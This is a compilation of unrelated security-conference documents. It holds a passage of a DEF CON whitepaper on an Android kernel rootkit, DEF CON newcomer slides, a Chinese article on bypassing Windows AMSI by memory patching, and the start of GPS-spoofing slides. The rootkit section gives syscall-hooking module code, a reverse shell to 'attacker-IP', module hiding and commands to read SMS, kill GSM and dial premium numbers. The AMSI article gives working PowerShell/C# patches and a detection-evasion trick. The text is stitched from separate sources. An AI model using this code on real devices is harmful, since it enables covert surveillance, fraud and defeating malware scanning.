kernel module can even subvert the kernel so that it is not listed in kernel module listings (from the lsmod command). Trustwave - 10 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 Kernel rootkits do this by redirecting system calls. As a kernel module has as much power as any other kernel code, it can replace system call handlers with its own wrappers to hide files, processes, connections, etc. The file access system calls can also be overwritten to cause false data to be read from or written to files or devices on the system”. By redirecting system calls we mean using handler functions (hooks) that modify the flow of execution. A new hook registers its address as the location for a specific function, so that when the function is called, the hook is executed instead. Referring back to Figure 1.0 from Google (1), we see that by creating a Linux loadable kernel module (LKM), which hijacks system calls and modifies their behavior we can in effect modify phone behavior that will not only subvert the platform layers above the kernel, but also ultimately subvert the end-user himself. However, there are certain hurdles one must overcome before a LKM could be created and successfully loaded on the Android operating system. The main hurdle we had to overcome was to retrieve the sys_call_table address for the running kernel of the device whether this is the emulator itself or the actual mobile phone. In addition to the above, to get the module to compile against and successfully load on an actual mobile phone- the HTC Legend running Linux 2.6.29-9a3026a7, we need to compile our rootkit against published Linux kernel source code for the HTC Legend1. Upon review, this kernel source code published by HTC appears to have been hampered so that when a module is compiled against the source code it can not be subsequently loaded on the device. We will now examine each of these hurdles and how we overcame them to ultimately write and successfully load a Google Android rootkit on the HTC Legend. 1 http://developer.htc.com Trustwave - 11 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 4.1 Hurdles we faced when developing the Android rootkit 4.1.1 Retrieving the sys_call_table address Linux kernels 2.5 or greater no longer export the sys_call_table structure. Prior to the 2.5 kernels, an LKM could instantly access the sys_call_table structure by declaring it as an extern variable: extern void *sys_call_table[]; This is no longer the case. Various workarounds have been reported in literature involving Direct Kernel Object Manipulation (DKOM), most notably as was demonstrated by sd and devik in their pioneering SuckIT rootkit which was published in Phrack (8). However the sys_call_table address can be found in the System.map file as well. As we have full access to the source code, the sys_call_table can be found easily. This is shown below for the case of the Android emulator: root@argon:~/android/kernel-common# grep sys_call_table System.map c0021d24 T sys_call_table root@argon:~/android/kernel-common# In this case, the sys_call_table can be found at 0xc0021d24. The HTC Legend, our test device, shipped to us running the 2.6.29-9a3026a7 kernel. In similar fashion, we downloaded the Linux kernel source code for the HTC Legend that HTC published on their HTC Developer Center, cross-compiled it and found the sys_call_table to be located at 0xc0029fa4 as seen below: root@argon:~/android/legend-kernel# grep sys_call_table System.map c0029fa4 T sys_call_table root@argon:~/android/legend-kernel# As all devices ship with the same firmware/running-kernel these sys_call_table addresses are static across a wide range of devices in the wild and no further heuristic sys_call_table discovery techniques are really necessary. Environment (uname –a) sys_call_table address Android Emulator (2.6.27-00110-g132305e) 0xc0021d24 HTC Legend (2.6.29-9a3026a7) 0xc0029fa4 Trustwave - 12 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 4.1.2 Compiling against the HTC Legend Linux kernel source code As mentioned previously, the next hurdle we had to overcome was that when we compiled our rootkit against the HTC Legend kernel source code from http://developer.htc.com, the vermagic string of the module did not match that of the running kernel. This meant that we could not load the module on the phone. This is counter-intuitive, as one would expect that a module compiled against the HTC Legend Linux kernel source code should compile and subsequently load on the device seamlessly. This is shown below: # insmod debug.ko insmod: can't insert 'debug.ko': invalid module format # According to The Linux Documentation Project (9), the kernel refuses to accept the module because version strings (more precisely, version magics) do not match. Incidentally, version magics are stored in the module object in the form of a static string, starting with vermagic. debug: version magic '2.6.29 preempt mod_unload ARMv6' should be '2.6.29-9a3026a7 preempt mod_unload ARMv6 ' By examining the Linux kernel source code, we found that by modifying the following file include/linux/utsrelease.h From: root@argon:~/android# cat legend-kernel/include/linux/utsrelease.h #define UTS_RELEASE "2.6.29" root@argon:~/android# To: root@argon:~/android# cat legend-kernel/include/linux/utsrelease.h #define UTS_RELEASE "2.6.29-9a3026a7" root@argon:~/android# And re-compiling our module against the HTC Legend Linux kernel source code with these changes, resulted in the module loading cleanly as the vermagic strings matched. Trustwave - 13 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 This is shown below: # insmod debug.ko # lsmod debug 1832 0 - Live 0xbf000000 (P) # uname -a Linux localhost 2.6.29-9a3026a7 #1 PREEMPT Thu Feb 25 23:36:55 CST 2010 armv6l GNU/Linux # Therefore, having found the address of sys_call_table and subsequently succeeded in loading the module in to the HTC Legend’s running kernel, what was left, was to ascertain which system calls were responsible for various phone functions. Once this was achieved, we would hijack these system calls, parse their arguments and act when certain trigger events occurred. We will now discuss how we went about achieving this. Trustwave - 14 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 4.1.3 Enabling system call debugging We proceeded to create a debug module that intercepted the following system calls: • sys_write • sys_read • sys_open • sys_close These system calls are responsible for all file write, read open and close operations. The debug module is shown below: /* * Christian Papathanasiou & Nicholas J. Percoco * [email protected], [email protected] * (c) 2010 Trustwave * * Google Android rootkit debug LKM */ #include <asm/unistd.h> #include <linux/autoconf.h> #include <linux/in.h> #include <linux/init_task.h> #include <linux/ip.h> #include <linux/kernel.h> #include <linux/kmod.h> #include <linux/mm.h> #include <linux/module.h> #include <linux/sched.h> #include <linux/skbuff.h> #include <linux/stddef.h> #include <linux/string.h> #include <linux/syscalls.h> #include <linux/tcp.h> #include <linux/types.h> #include <linux/unistd.h> #include <linux/version.h> #include <linux/workqueue.h> asmlinkage ssize_t (*orig_read) (int fd, char *buf, size_t count); asmlinkage ssize_t (*orig_write) (int fd, char *buf, size_t count); asmlinkage ssize_t (*orig_open)(const char *pathname, int flags); asmlinkage ssize_t (*orig_close) (int fd); Trustwave - 15 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 asmlinkage ssize_t hacked_write (int fd, char *buf, size_t count) { printk (KERN_INFO "SYS_WRITE: %s\n",buf); return orig_write(fd,buf,count); } asmlinkage ssize_t hacked_open(const char *pathname, int flags) { printk(KERN_INFO "SYS_OPEN: %s\n",pathname); return orig_open(pathname,flags); } asmlinkage ssize_t hacked_close(int fd) { printk(KERN_INFO "SYS_CLOSE %s\n",current->comm); return orig_close(fd); } asmlinkage ssize_t hacked_read (int fd, char *buf, size_t count) { printk (KERN_INFO "SYS_READ %s\n",buf); return orig_read (fd, buf, count); } static int __init root_start (void) { unsigned long *sys_call_table = 0xc0029fa4; orig_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = hacked_read; orig_write = sys_call_table[__NR_write]; sys_call_table[__NR_write] = hacked_write; orig_close = sys_call_table[__NR_close]; sys_call_table[__NR_close] = hacked_close; orig_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = hacked_open; return 0; } Trustwave - 16 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 static void __exit root_stop (void) { unsigned long *sys_call_table = 0xc0029fa4; sys_call_table[__NR_read] = &orig_read; sys_call_table[__NR_write] = &orig_write; sys_call_table[__NR_close] = &orig_close; sys_call_table[__NR_open] = &orig_open; } module_init (root_start); module_exit (root_stop); By compiling and loading this module into the HTC Legend’s current running-kernel we were able to generate system call traces of these system calls with their arguments. The call traces are simply the output of the dmesg command where all printk debugging information is output to. An example of a system call trace is shown below. Here, we called the rootkitted phone from a trigger number: 07841334111. By grepping through the dmesg output we find that our debug module captured the incoming call through the sys_read system call. root@argon:~/android/rootkit/traces# grep 07841334111 INCOMING-CALL- TRACE <6>sys_read: AT+CLCCc:13371585907841334111",129 .. root@argon:~/android/rootkit/traces# More importantly, we see the AT+CLCC command which in ETSI (10) is described as the “List current calls” AT command is responsible for informing the call handlers that a call from a number, in this case, 07841334111 is incoming. Trustwave - 17 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 Similarly, when an outbound call is made, the following syscall trace was obtained: <4>[ 2761.808654] sys_write: ATD+442073734841; From this we can see that there exists the potential to redirect outbound calls to other numbers, by hijacking sys_write and modifying the ATD+XXXXXXX buffer. It should be noted that the GSM modem device is /dev/smd0 and the GPS device is /dev/smd27. At this point, we have achieved the following objectives: 1. We have found the sys_call_table for the HTC Legend. 2. We have successfully compiled our LKM against the HTC Legend source code, bypassing the vermagic restrictions. 3. We have hijacked syscalls and obtained debugging information from them. 4. Through syscall debugging we have discovered phone routines that we can hijack. What is left is to put all these concepts together to create our rootkit. This will be described in the next section. Trustwave - 18 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 5 The Android rootkit 5.1 sys_read system call hooking Our rootkit, Mindtrick, sends an attacker a reverse TCP over 3G/WiFI shell once it receives a call from a trigger number. From there, the attacker has full access to the underlying operating system and can proceed to read the SQLite3 SMS/MMS databases, query the GPS subsystem or even shut the phone down. The rootkit hijacks the sys_read system call and parses the buffer for the AT+CLCC command. Once it finds an occurrence of the AT+CLCC command it then ascertains whether the incoming number matches that of the attackers. If it matches it calls the reverseshell() function. In other words our hijacked sys_read function looks similar to the following: asmlinkage ssize_t hacked_read (int fd, char *buf, size_t count) { if (strstr (buf, "CLCC")) { if (strstr (buf, "66666666")) //trigger number { reverseshell (); } } else { return orig_read (fd, buf, count); } } To invoke a reverse shell within kernel space we use the call_usermodehelper function. Our reverse shell is spawned as a child of a kernel thread called keventd. void reverseshell () { static char *path = "/data/local/shell"; char *argv[] = { "/data/local/shell", "attacker-IP", "80", NULL }; static char *envp[] = { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL }; call_usermodehelper (path, argv, envp, 1); } Trustwave - 19 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 5.2 Hiding from the user and from the OS One drawback of our rootkit is that it leaves a single binary on the filesystem. This is the reverse shell binary. We are able to hide the presence of the /data/local/shell binary by hijacking the sys_getdents system call which will hide our binary from directory listings. Unlike infecting a commodity PC, there are certain challenges with mobiles. One of these is persistence. Mobiles are subject to frequent reboots, which mean that we must have a mechanism, whereby we re-load the module into the kernel. One way of performing this is by inserting the insmod instructions within the init.d scripts. Another more elegant method involves infecting existing kernel modules so that the mobile device loads them (e.g., when WiFI is turned on the rootkit code executes first). HTC however has gone to great lengths to ensure that the partitions which the init.d files are loaded on and any modules are read-only. We did not have other devices at hand to investigate whether this held true on other devices as well. Therefore, the only form of persistence is re-infection. Hiding the presence of the module itself is done as on any other Linux rootkit; the following code achieves this: static void hide_module (void) { __this_module.list.prev->next = __this_module.list.next; __this_module.list.next->prev = __this_module.list.prev; __this_module.list.next = LIST_POISON1; __this_module.list.prev = LIST_POISON2; } The outcome of this is that the module is hidden from lsmod i.e., it does not appear loaded. # lsmod # insmod rootkit.ko # lsmod # The next section will describe the implications of all the above and guide the reader through some misuse scenarios we tested. Trustwave - 20 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 5.3 Implications Calling the rootkitted mobile phone from the trigger number, initiates a reverse TCP over WiFI/3G shell to the attacker. From here, he can proceed to interact fully with the Android mobile device. Some misuse scenarios that we performed successfully were the following: 1. Retrieve GPS coordinates by querying the GPS subsystem /dev/smd27. 2. Knock out GSM communication 3. Initiate phantom calls to potentially premium rate numbers. 4. Retrieve the SMS database from the phone Retrieving GPS coordinates by retrieving NMEA data from /dev/smd27 # cat /dev/smd27 $GPGSV,4,1,16,03,02,289,,05,07,035,,06,17,291,,15,,,*43 $GPGSV,4,2,16,16,45,309,,18,37,150,,21,84,327,,22,13,180,*7F $GPGSV,4,3,16,24,42,234,,29,41,077,,30,17,150,,31,18,227,*7F $GPGSV,4,4,16,32,,,,28,,,,27,,,,26,,,*74 $GPGGA,,,,,,0,,,,,,,,*66 .. Switching off GSM communication: echo –e ‘AT+CFUN=0\r’ > /dev/smd0 Initiating outbound calls to potentially premium-rate numbers: echo -e 'ATD02073734844;\r' > /dev/smd0 A couple of interesting sqlite3 databases: ./data/com.google.android.providers.gmail/databases/[email protected]. db ./data/com.android.providers.telephony/databases/mmssms.db ./data/com.android.providers.contacts/databases/contacts2.db Trustwave - 21 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 Retrieving SMS messages: # sqlite3 ./data/com.android.providers.telephony/databases/mmssms.db SQLite version 3.5.9 Enter ".help" for instructions sqlite> .tables addr htcmsgs qtext android_metadata htcthreads rate attachments incoming_msg raw canonical_addresses part sms cbch pdu sr_pending drm pending_msgs threads sqlite> select * from sms; 175|1|145|+44xxxxxx|176|1276176208000|0|1|- 1|1|0||test1|0||+447802000332|0|-1||0 176|1|0|+447xxxxxx||1276195271967||1|-1|2|||test2|0|||0|-1||0 177|1|145|+447xxxxx|176|1276195359000|0|1|- 1|1|0||test3|0||+447802000332|0|-1||0 However this list of misuse scenarios is by no means exhaustive and is limited only by imagination and intent. Trustwave - 22 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 6 Conclusions In conclusion we have shown that it is possible to write a Linux kernel rootkit for the Google Android platform. We have successfully compiled our rootkit called Mindtrick, and hijacked system calls. Using system call debugging we have discovered pertinent phone functions that we have subsequently hijacked and monitored for certain trigger events. Once these trigger events occur, we are able to send an attacker a reverse TCP over WIFI/3G shell. From here the attacker has full root access on the device in question. We have demonstrated that once full TTY access is obtained, an attacker can proceed to retrieve GPS coordinates, knock out GSM communication, initiate phantom calls to potentially premium rate numbers and read the SMS database of the phone. However this list is by no means exhaustive and is limited only by imagination and intent. We are sure that other researchers will be able to perform many additional functions making this attack even more practical. Such ideas we have explored, but not implemented have included recording calls, Man-in-the-Middle attacks against browser activity, arbitrary recording from phone’s microphone or camera, and even strip and retrieve attachments from email messages. The only limitation is what the hardware and the operating system allow for at the lowest level. This was a technical exploration of what is possible with a popular consumer and business device. In the late 1990’s, tools such as Back Orifice were released which resulted in a dramatic awakening experience for corporate executives that started to ponder the implications of someone with access to their Windows desktops, looking at their files, reading their email, evening listening via their PCs microphone. These concerns sparked a massive expansion and development of tools to protect environments from such attacks. In the late 1990s, smartphones as we know them today did not exist; most consumers didn’t own a cellphone. The idea that a person would be walking around with a pocket-sized communication device with a persistent high-speed Internet connection with more productivity power than PCs of the day was a topic of science fiction. Drawing a parallel to the past (and even present day trend in PC malware development), the projected rapid growth of the smartphone market, especially the rapid growth of open-source phone platforms, means that the criminal element will, in response to the growth and the usage profiles of the end user, rapidly begin to attack via these vectors. Such threats call for mitigations to be developed to secure the future of mobile computing. Trustwave - 23 - Copyright © 2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 7 References 1.  Google.  Android  Architecture.  Google  Android.  [Online]  [Cited:  06  11,  2010.] http://developer.android.com/guide/basics/what-­‐is-­‐android.html. 2.  Wikipedia.  Dalvik  (software).  Wikipedia.  [Online]  2010.  [Cited:  06  11,  2010.] http://en.wikipedia.org/wiki/Dalvik_%28software%29. 3.  Morgan  Stanley  Research.  The  Mobile  Internet  Report.  s.l.  :  Morgan  Stanley  ,  2009. 4.  The  mechanics  of  lawful  interception.  Gleave,  Stephen.  5,  s.l.  :  Network  Security,  2007, Vol.  2007. 5.  BBC  News.  UAE  Blackberry  update  was  spyware.  BBC  News.  [Online]  2009.  [Cited:  06  10, 2010.]  http:/news.bbc.co.uk/2/hi/technology/8161190.stm. 6.  Collin  Mulliner,  Charlie  Miller.  Fuzzing  the  phone  in  your  phone.  Las  Vegas  :  Black  Hat USA  2009,  2009. 7.  Zovi,  Dino  Dai.  Kernel  Rootkits.  s.l.  :  Sandia  National  Laboratories,  2001. 8.  sd,  devik.  Linux  on-­‐the-­‐fly  kernel  patching  without  LKM.  Phrack.  2001,  Vol.  11,  58. 9.  The  Linux  Documentation  Project.  The  Linux  Kernel  Module  Programming  Guide. [Online]  [Cited:  06  14,  2010.]  http://tldp.org/LDP/lkmpg/2.6/html/x380.html. 10.  ETSI.  AT  command  set  for  User  Equipment.  Paris  :  s.n.,  2010.
pdf
DEF CON 101 THE PANEL SUPER N00B KART Welcome to Las Vegas Pace yourself THIS IS DEF CON DGAF Everyone was a n00b once. All of us are still n00bs at something. THIS IS THE DESERT Stay hydrated All Good Sit Down And Drink Grab A Glass of Water Call A Doctor THE COUNTDOWN Simple rules for surviving Def Con THE COUNTDOWN 3 Get at least three hours sleep each night THE COUNTDOWN 2 Eat at least two meals each day THE COUNTDOWN 1 Bathe at least one time each day Wash your hands, too Underbelly is Not Sexy A WORD ABOUT SHIRTS DEF CON CRUD Fist your friends Fist them often Seriously, wash your damn hands This is Dick Don’t. Be. A. Dick. The Basics Hold the door. Keep your head up. Pay attention. Don’t block the hallway. Don’t stand at the base of the escalator. Don’t Be an Asshat Don’t ruin everyone’s time Don’t Heckle If you don’t agree, talk afterwards. See previous slide. Ask Permission Phones and Wireless Seriously? This is a hacker convention. Use your head. Pictures See previous slide. Expect to be in a picture or two. Ask nicely if you don’t want to be in one. Not everything is free Just because you see it laying out, does not mean you can take it. Have a Plan Read the program. HACKER TRACKER! Talks fill up quickly. Consider purchasing the videos from TSOK. •  Originally created by Whitney Champion (shortxstack) •  Lot of good info about DC25 •  Available on the App Store and Google Play •  You should have downloaded it before now Hacker Tracker App The Talks Villages Biohacking Villages Car Hacking Village Crypto & Privacy Village Hardware Hacking Village ICS Village IoT Village Lockpick Village Packet Hacking Village Recon Villages R00tz 303 Skytalks Social Engineer Village Tamper Evident Village Voting Machine Hacking Village Wireless Village Contests + Events Too many to list – here are some highlights. •  T.D.F. X-Hour Film Contest. •  Capture the Flag. •  No Badge Hack this year. •  Hack the contests - Hacker Convention, remember? Workshops + Demo LaBs Workshops are training opportunities – usually hands on. Demo Labs are brief introductions to open source tools and projects. Swag + Vendors Def Con is unique. Swag is Def Con branded stuff. Vendors is a vendor hall. Each vendor has something to contribute to the hacker community. DouBle Dog Dare Reach out. Put yourself out there. Find someone with something you share. Triple Dog Dare Do something you have never done before. Try one of the villages. Go to a party. THE Panel Wiseacre Roamer Shaggy Malware Unicorn Niki7a Highwiz Name that N00B! This is for fun. We probably will pick on you. Your handle is a badge of honor. N00B Party Join us for the n00b party sponsored by Duo Security Thanks! Any questions? You can find me at @wiseacre_mike & [email protected] Twitterz: @wiseacre_mike @highwiz @shitroamersays @niki7a @malwareunicorn @shaggymcg
pdf
Bypass AMSI的前世今生(5) - 内存补丁 0x00 前言 内存补丁是目前bypass amsi最常用的技术之一。通过前几篇文章,我们已经知道AMSI检测相关API的调 用顺序: 我们还是以powershell为例,当我们打开powershell.exe,powershell.exe会加载 System.Management.Automation.dll,此dll会调用amsi.dll,因此我们只要分析清楚这2个dll里面的函 数调用和判断逻辑,就能在合适的地方修改判断逻辑,使得程序判断结果为我们指定的结果。 0x01 流程分析 我们先使用ILSpy反编译System.Management.Automation.dll,在AmsiUtils中是amsi相关的函数: 不难看出AmsiUtils里面的大部分逻辑是调用amsi里面的函数处理的。我们关注AmsiUtils.ScanContent 函数,里面包含的amsi扫描的完整逻辑。首先如下图所示: AmsiInitialize – 初始化AMSI API. AmsiOpenSession – 打开session AmsiScanBuffer – scans the user-input. AmsiCloseSession – 关闭session AmsiUninitialize – 删除AMSI API Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 1 / 10 - Welcome to www.red-team.cn 是不是有点眼熟,amsiInitFailed,也就是“一句话bypass amsi”的原理所在,我们只需要让这个变量为 True,就可以bypass。我们继续往下阅读代码: 注意这几个逻辑,都可以让程序直接返回AMSI_RESULT_NOT_DETECTED,最后我们的关注点就是 hresult,只要让它小于0,我们就能bypass amsi,而hresult为amsi.dll里函数的返回值,因此我们到 amsi.dll里面去想办法。通过上面的分析我们能够在AmsiInitialize、AmsiOpenSession、 AmsiScanBuffer这3个函数中patch都可以达到bypass amsi的效果。我们先来测试AmsiInitialize: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 2 / 10 - Welcome to www.red-team.cn 我们在amsi!AmsiInitialize上下了断点并没有断下来,原因是初始化函数在powershell启动的时候就调 用了,后面将不再调用: 因此amsi!AmsiInitialize不是一个好的打补丁的位置,我们接着看AmsiOpenSession,经过测试, AmsiOpenSession、AmsiScanBuffer是可以的。我们反汇编看下这2个函数: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 3 / 10 - Welcome to www.red-team.cn 其实都不用看这2个函数,直接打补丁,让返回值小于0就OK了。 0x02 利用 我们还是从一段利用代码开始: $p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Bypass() { String a = "isma"; String b = "reffuBnacSismA"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll"); IntPtr addr = GetProcAddress(lib, String.Join("", b.Reverse().ToArray())); uint old = 0; byte[] p; p = new byte[6]; p[0] = 0xB8; p[1] = 0x57; p[2] = 0x00; p[3] = 0x07; p[4] = 0x80; Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 4 / 10 - Welcome to www.red-team.cn 这个是我在星球发过的一段被公开的利用改代码,功能很好理解,就是在AmsiScanBuffer的函数地址处 直接打补丁,补丁汇编是: 0x80070057也就是-2147024809,是一个负数,当然也可以是其他负数,而AmsiScanBuffer也可以修 改成AmsiOpenSession。怎么把汇编代码转换成代码中的数组呢?使用https://defuse.ca/online-x86-a ssembler.htm#disassembly,可以很快转换。我们来修改代码测试下: p[5] = 0xc3; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } } "@ Add-Type $p [Program]::Bypass() mov eax,0x80070057 ret $p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Bypass() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll"); IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); uint old = 0; byte[] p; p = new byte[6]; p[0] = 0xB8; p[1] = 0xFF; p[2] = 0xFF; p[3] = 0xFF; p[4] = 0xFF; p[5] = 0xC3; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 5 / 10 - Welcome to www.red-team.cn 我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为: 成功,因此我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer,补丁代码可以变化很 多,只要返回结果为负数就行。 0x03 侦测与对抗 常见侦测手法: 检测AmsiOpenSession、AmsiScanBuffer处代码是否被修改 检测amsi在内存中的代码段完整性 详细侦测手法阅读https://blog.f-secure.com/hunting-for-amsi-bypasses/,在此我就不多说了。对抗 这2种检测手法也是很容易的。 对抗第一种检测 第一种检测手法,是找到函数的偏移,然后判断便宜处的二进制是否被修改,通过上面的代码我们也知 道,我们直接在函数开始地址处打补丁,我们可以增加偏移量,让补丁出现在函数种的其他位置,代码 如下: } "@ Add-Type $p [Program]::Bypass() mov eax,-1 ret $p=@" using System; Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 6 / 10 - Welcome to www.red-team.cn using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Bypass() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll"); IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } } "@ Add-Type $p [Program]::Bypass() Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 7 / 10 - Welcome to www.red-team.cn 上边代码非常简洁,我们只修改了AmsiOpenSession函数在偏移3处的一个字节,我们看反汇编的代 码: 我把途中的jz修改成jnz,让跳转到mov eax,80070057h 处。这样我们可以根据反编译的代码,随意修 改逻辑,第一种检测手法就失效了。 对抗第二种检测 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 8 / 10 - Welcome to www.red-team.cn 第二种因为是完整性检测,我们修改代码后就能被扫出来,但是第二种侦测方法有个缺陷,就是不可能 一直扫描内存,要不使用按频率扫描,要不使用触发扫描,触发扫描比较常见,例如当侦测到 AmsiOpenSession API被调用,就触发扫描。我们对抗方法是打补丁后执行恶意代码,执行完再还原内 存,这样内存修改只是一瞬间,代码如下: $p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Patch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll"); IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } public static void UnPatch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll"); IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x74; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } } "@ Add-Type $p [Program]::Patch() [Program]::UnPatch() Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 9 / 10 - Welcome to www.red-team.cn 神奇的事情发生了,我们使用AmsiOpenSession,再修改内存后再复原,依旧bypass。 代码被复原了的,这是为什么呢?哈哈哈是因为我们开始建立了session,后面将沿用开始建立的 session,不会再新调用AmsiOpenSession建立session,我在amsi!AmsiOpenSession上下断点,果然 没有触发。完美。 0x04 总结 内存补丁是bypass amsi里面非常重要的技术,几乎用在了各种工具当中,理解其中原理,灵活运用, 可以很好的对抗edr/av。 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 10 / 10 - Welcome to www.red-team.cn
pdf
GPS SPOOFING Low-cost GPS simulator HUANG Lin, YANG Qing Unicorn Team – Radio and Hardware Security Research Qihoo 360 Technology Co. Ltd. Who we are? Unicorn Team •  Qihoo360’s UnicornTeam consists of a group of brilliant security researchers. We focus on the security of anything that uses radio technologies, from small things like RFID, NFC and WSN to big things like GPS, UAV, Smart Cars, Telecom and SATCOM. •  Our primary mission is to guarantee that Qihoo360 is not vulnerable to any wireless attack. In other words, Qihoo360 protects its users and we protect Qihoo360. •  During our research, we create and produce various devices and systems, for both attack and defense purposes. •  We are one of the DEF CON 23 vendors. https://defcon.org/html/defcon-23/dc-23-vendors.html YANG Qing •  YANG Qing is the team leader of Unicorn Team. •  He has rich experiences in wireless and hardware security area, including WiFi penetration testing, cellular network interception, IC card cracking etc. His interests also cover embedded system hacking, firmware reversing, automotive security, and software radio. •  He is the first one who reported the vulnerabilities of WiFi system and RF IC card system used in Beijing subway. HUANG Lin •  One of the early USRP users in China. Got the first USRP board in 2005 in Orange Labs •  Authored some tutorials about GNU Radio which were popular in China •  Made great effort on promoting Cloud-RAN technology in China from 2010 to 2013 •  Join Qihoo 360 as a wireless security researcher in 2014 Beginning of the story … Civilian-use GPS C/A Signal GPS C/A signal is for civilian usage, and unencrypted. Replay attack is a typical GPS spoofing method. Record Replay Firstly try replay attack •  Hardware •  USRP B210 •  Active GPS antenna •  Bias-tee circuit (Mini-Circuit ZX85-12G-S+) •  LNA (Mini-Circuit ZX60-V82-S+) Record GPS signal by a USRP B210 Replay the signal by a bladeRF Success! Record then replay the GPS signal. You can see the cellphone gets the position and timing information from the replayed GPS signal. Nexus 5 If Create any GPS signal rather than Record & Replay… This is not a replay •  Demo video Search existing solutions on Internet •  Expensive or at least not free •  NAVSYS ~$5000 •  NI LabVIEW ~$6000 Some famous cases of GPS spoofing •  Leading lab: RadioNavigation Lab from Univ. of Texas at Austin (https:// radionavlab.ae.utexas.edu/ ) •  Prof. Todd E. Humphrey and his team •  2012 TED talk: how to fool GPS •  2013: spoof an US$80M yacht at sea •  2014: unmanned aircraft capture via GPS spoofing We are not navigation experts. How can we do GPS spoofing? As SDR guys, we have USRP bladeRF HackRF And we found some source codes on Internet •  This website collects many open source projects about GPS •  http://www.ngs.noaa.gov/gps-toolbox/index.html •  This is a very good GPS receiver software based on GNU Radio •  http://gnss-sdr.org/ •  Most of projects are GPS receivers and few are transmitters. This is a transmitter example: https://code.csdn.net/sywcxx/gps-sim-hackrf •  It’s not finalized ! DIY a GPS Simulator! Basic principle of GPS system GPS 